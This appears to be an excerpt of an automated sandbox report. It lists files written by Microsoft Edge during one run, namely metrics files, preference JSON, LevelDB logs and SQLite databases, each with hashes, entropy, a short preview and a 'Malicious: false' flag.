C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67F3F8D7-1FDC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04678219743360175
Encrypted:	false
SSDEEP:	192:hacqG08YiNtm7nOAUzYHJ/7qiRDs0R0AXuhgKctJjhaCNEhIv990RQ82NLan8y0d:MDG0MtoTMAfhxXmqNe08T2RGOD
MD5:	60098AB6EF0EBEDAC9F892A9A2FCEACF
SHA1:	EC1E3E42B8D45FDBEB08308499AF28DA5A9A7519
SHA-256:	F457BF6A36CBA66CC8FE5C06546F56B9DA33370B346B00949790B345B20FAA68
SHA-512:	CA2DDD7D0CDAC99270E611C31D0CA5456D24C0F7A342BBF85D005CB6CDC240B19A64E899EE8532211F9E7A9DCA0F522D35012D9C883D156023C13D2F02B82F30
Malicious:	false
Preview:	...@..@...@.....C.].....@................i...X..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ptbvmc20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67F3F8D8-1E64.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44869448717045785
Encrypted:	false
SSDEEP:	3072:nefKF1NIcse0WMntfqHPHshDZc4vMQGWf7Hqyy2b2xE/WrUg1HF:oKFLmRfqvHshCkzfbqyy2b2q/WrUaH
MD5:	47B92FB3749D8D2E4427DB91AFA52504
SHA1:	4D253DEF64BBFF1D45A57DD2F2163017F1038E8A
SHA-256:	36BA9E9FCE52937CECCC5C3599753A2E663631448F6C16B816708AF567F04822
SHA-512:	F370E6243283ED17FCB04442823D5DAE5B17290D8769420162A5BAC628C122FC02FFF9F376534369AA3DC781B7F92D3155286C69694031DFD4C6A26624270FA8
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ptbvmc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ....2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUnC:o1rPWVjWZq3RvtNlwBVsJDL7b/3U
MD5:	9BA7C3AD4E03BBF9D81EF0A48E88E9E0
SHA1:	5B55FFD783B109A8683403FBD082365BC9342D08
SHA-256:	51B1A2542CEA960D602860AF699FEAE85DE53F4D2E2734A39B6807B94BE939AB
SHA-512:	A63AC90F43DAC9F30BE6D6F3DD1B5DF98F42F5E06F8ECF5960CA0A4B47A77E8809F14ADD4840D89A0C569DB0B459A1458B49A6C0E18E0EE5413EE0DE77082EA3
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\031ca1a8-156d-4a1e-8943-26b760df39df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.560509269295632
Encrypted:	false
SSDEEP:	768:WYfnf57pLGLpvVWPj7fAc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLqpShverwGgzHs:WYfnfPcpvVWPj7fAcu1jauqp4v7GgzKh
MD5:	D8BE59C07D401C182CEE092B366A3FC5
SHA1:	7F13B2521C29A49C5E33A70C51EA33A54D7684BD
SHA-256:	0D042FAB0D56D6607D414C265355FAD5F3DAA8512BD61A6B71248CB70CD225F1
SHA-512:	CC19F53196E5BC84BA786FF3E8469EF1D001A8E77C82C0C9659A201CB1646A12D05A966B72F3C6BF696BA2D90B96FCE986B7B1D195461FF5180A06D6E5AD2363
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13388515801214131","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13388515801214131","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5402ca2d-78a9-46c6-94ae-0746e8d1cc93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14405
Entropy (8bit):	5.294083289291519
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNPD73rmTdkcdChbYChc8ybV+FP3QwTejtGPm:stxPGQSu4YsOjtJD7CaGbGvQwTQt9
MD5:	0F0DED7538C7C2030E8A4F4D5EF66C4D
SHA1:	A89B7CCAD26E83257D174CDD74AC00F3CCC799B5
SHA-256:	49D2227AC024E7B547356A7908073B5382B9CBE3D7943DB8F853890205A3B6FA
SHA-512:	2881435FB84713910066B299A09D7D9340C11A2D15F31B8BCE8AC6B22C54F49BC04C75A4D66603931E7617D6BB92BE821BBCD9C19E5D9033E9FB93ECC968A649
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\682a0bd8-f75e-471c-a30e-43005c85e9ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14240
Entropy (8bit):	5.296805758332283
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNPD73rmTdkcdChbYChc8ybV+FP3QwTeUmGPm:stxPGQSu4YsOjtJD7CaGbGvQwTS9
MD5:	E41E839B2B7E1735CB30C3A3743AFB37
SHA1:	83A779A69321D14BE87D38CEC71655A1F95059ED
SHA-256:	D15118C8E3E34EF27250D79D8ECCB9C4EA887E132161B9CE4122200FD8A12676
SHA-512:	313B78D5A5609BD1946D6A7BB4B58551D34A6A3EAC915811CA3C12609E203A9E14EFA41712F666232BE7B05F8D206C040FE0C5CB0F5D9FE8BBA8D50EA043F7BF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7979224e-42b4-49e7-b2ef-a7f258376337.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14405
Entropy (8bit):	5.294266088807645
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNPD73rmTdkcdChbYChc8ybV+FP3QwTeFtGPm:stxPGQSu4YsOjtJD7CaGbGvQwTmt9
MD5:	817541ED3BA5F8A1DDAEB03817D053BD
SHA1:	450200FA583C093FB19E79353E3D8F5D628F94FF
SHA-256:	DF65D7B0AD8C2FBF3EB7519B9B363E26B1985F43B593B9F8D3C7E5EC3B90DE4A
SHA-512:	81F17B3443AC9A29013805EB6095E2BD62358A93C7D7CEB6C2B2ED95229C70405C32299382DE0CB65260348B197E9309144D68FDE7E19CB36A678A2EF0BF9975
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\87bb0716-37fe-42bc-b9dd-aa766ba55021.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13402
Entropy (8bit):	5.218274763893022
Encrypted:	false
SSDEEP:	192:stxJ99QTryDiuabatSuypYsHujyaNP9kcdCNNYkc8ybV+FP3QwTeUmGPRYJ:stxPGQSu4YsOjtJ6ubGvQwTS9
MD5:	A7077ECB49856AF1BA34A778D5FB822E
SHA1:	7807AA6C87AF160BDD27FC53FFAB5A84DB90263E
SHA-256:	7157C2B2206A412A864FFB4FC08EF93E2C3DDA5D85199F0212F5052FDD127FBE
SHA-512:	E30B16EAA82A1A5875C9EB6C3F9F4758B4F45C1280E1D2970C7A4B341AFCF185FE20AAE79BBBD88BBE8FC758449BF13A024CD2BC49D45FEFCAB7415C73FA26D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13388515803018188","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8d5eb692-90fc-49d9-8bfc-540a078f81d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.242125162215127
Encrypted:	false
SSDEEP:	6:iORPQ1cNwi23oH+Tcwtp3hBtB2KLlzP+zYQyq2PcNwi23oH+Tcwtp3hBWsIFUv:7RPSZYebp3dFL9P+MVvLZYebp3eFUv
MD5:	42A3FFC3C36A8B8F27867B3A509B8116
SHA1:	84E844A325B5CC1E2E1449D55A63C2D9139C854F
SHA-256:	345945CF36E9BBF70337CAA5FECF94B496126AB7F6548BFF7C0426E6D5EFEF8E
SHA-512:	581BD62D0A1B75AF0C8A5B1E22DD62C12A1C1473F2B946992E7D9A1B57BDFED6C080FE2781396D3B7B8FF42A1C581B4D1DC3DCB1C9F7604E3A95543A5CD2DD96
Malicious:	false
Preview:	2025/04/07-12:10:07.898 1b70 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/04/07-12:10:07.940 1b70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040632680566618
Encrypted:	false
SSDEEP:	24576:kyf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kyfgAmmE
MD5:	F0BB426943D97404DD00C8C53A78D6FB
SHA1:	402EA5AAE161D50AD3ECD424C734E241D2C68560
SHA-256:	9E903E8372F7F888446A0F77D4A29D397E908D17924035DCE34C83D29314E712
SHA-512:	934CA35A54EB648BF618ED1BB99E6395AEA996EE4DF4D3625C391B93264A980D24360F21F16716CB22728EECA2BA5EAFF3DF674C18BC1805DBFCE70230A9974F
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.119521281316226
Encrypted:	false
SSDEEP:	6:iORPwHM+q2PcNwi23oH+Tcwt9Eh1tIFUtDPnJZmw9PHqMVkwOcNwi23oH+Tcwt9O:7RPL+vLZYeb9Eh16FUtDPJ/9PXV54ZYf
MD5:	5904963171A5EAE8D0AE4F1DE81C011E
SHA1:	F620D643CD60BB58F49776574A1C760C25D5B2A8
SHA-256:	627C589C2D46DFC04C49B4BFF5C1327FEED117D483799A34807401AC738C5150
SHA-512:	D8B4EEE6002C112E20ED996F14D7025EF676CC9D10F80D5629E06F17C44EEA64EBCF9D6DB891F7C8C895D78BE5424876C7536CE15E4A11F780A4B1ED6BE4DBB4
Malicious:	false
Preview:	2025/04/07-12:10:07.764 e1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/04/07-12:10:07.818 e1c Recovering log #3.2025/04/07-12:10:07.874 e1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.119521281316226
Encrypted:	false
SSDEEP:	6:iORPwHM+q2PcNwi23oH+Tcwt9Eh1tIFUtDPnJZmw9PHqMVkwOcNwi23oH+Tcwt9O:7RPL+vLZYeb9Eh16FUtDPJ/9PXV54ZYf
MD5:	5904963171A5EAE8D0AE4F1DE81C011E
SHA1:	F620D643CD60BB58F49776574A1C760C25D5B2A8
SHA-256:	627C589C2D46DFC04C49B4BFF5C1327FEED117D483799A34807401AC738C5150
SHA-512:	D8B4EEE6002C112E20ED996F14D7025EF676CC9D10F80D5629E06F17C44EEA64EBCF9D6DB891F7C8C895D78BE5424876C7536CE15E4A11F780A4B1ED6BE4DBB4
Malicious:	false
Preview:	2025/04/07-12:10:07.764 e1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/04/07-12:10:07.818 e1c Recovering log #3.2025/04/07-12:10:07.874 e1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4628900461575047
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuS4S:TouQq3qh7z3bY2LNW9WMcUvBui
MD5:	EB74216ABE8939A9D5A2413BC1935EA1
SHA1:	1DD3CE5C12CE9B117CF1BF7E4C267B6FEAEEA0E4
SHA-256:	DAB0EFA7C6B1D7A8542C87C7996F663548AB6D7D57D9FD342C1B0D6400429E80
SHA-512:	4B75B5D1E3FFE93E938F7DE110B98836AC66E54D143C622323B2A6133B4D744486D2E659447DA42B8CD92BCA3A9FEB1F3E152BA441F97BFCB807B5A9DFBA63EB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.201775601533991
Encrypted:	false
SSDEEP:	6:iORPCUdaL+q2PcNwi23oH+TcwtnG2tMsIFUtDPCU7KWZmw9PCUtLVkwOcNwi23oi:7RPNaL+vLZYebn9GFUtDP+W/9PdLV54L
MD5:	EE6F25BF296B88E3EE2CE5B5C09E4E93
SHA1:	7F17B004D797DC5094FFABAF558B0A24EE38CD61
SHA-256:	385D145764BDC6A3D283EF8CC46C4A28DB1A1173A32AB15D898B57A50DE6442D
SHA-512:	18FD0AF189C99543B7C06D2346D10F3E1623FCA2C9DD5BE4DB0DD2A1ED044961C48A7D13692F83272B835B1FE19B8C1F905CF785E89AF187DE9B8372142F62BC
Malicious:	false
Preview:	2025/04/07-12:10:01.318 73c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/04/07-12:10:01.319 73c Recovering log #3.2025/04/07-12:10:01.319 73c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.201775601533991
Encrypted:	false
SSDEEP:	6:iORPCUdaL+q2PcNwi23oH+TcwtnG2tMsIFUtDPCU7KWZmw9PCUtLVkwOcNwi23oi:7RPNaL+vLZYebn9GFUtDP+W/9PdLV54L
MD5:	EE6F25BF296B88E3EE2CE5B5C09E4E93
SHA1:	7F17B004D797DC5094FFABAF558B0A24EE38CD61
SHA-256:	385D145764BDC6A3D283EF8CC46C4A28DB1A1173A32AB15D898B57A50DE6442D
SHA-512:	18FD0AF189C99543B7C06D2346D10F3E1623FCA2C9DD5BE4DB0DD2A1ED044961C48A7D13692F83272B835B1FE19B8C1F905CF785E89AF187DE9B8372142F62BC
Malicious:	false
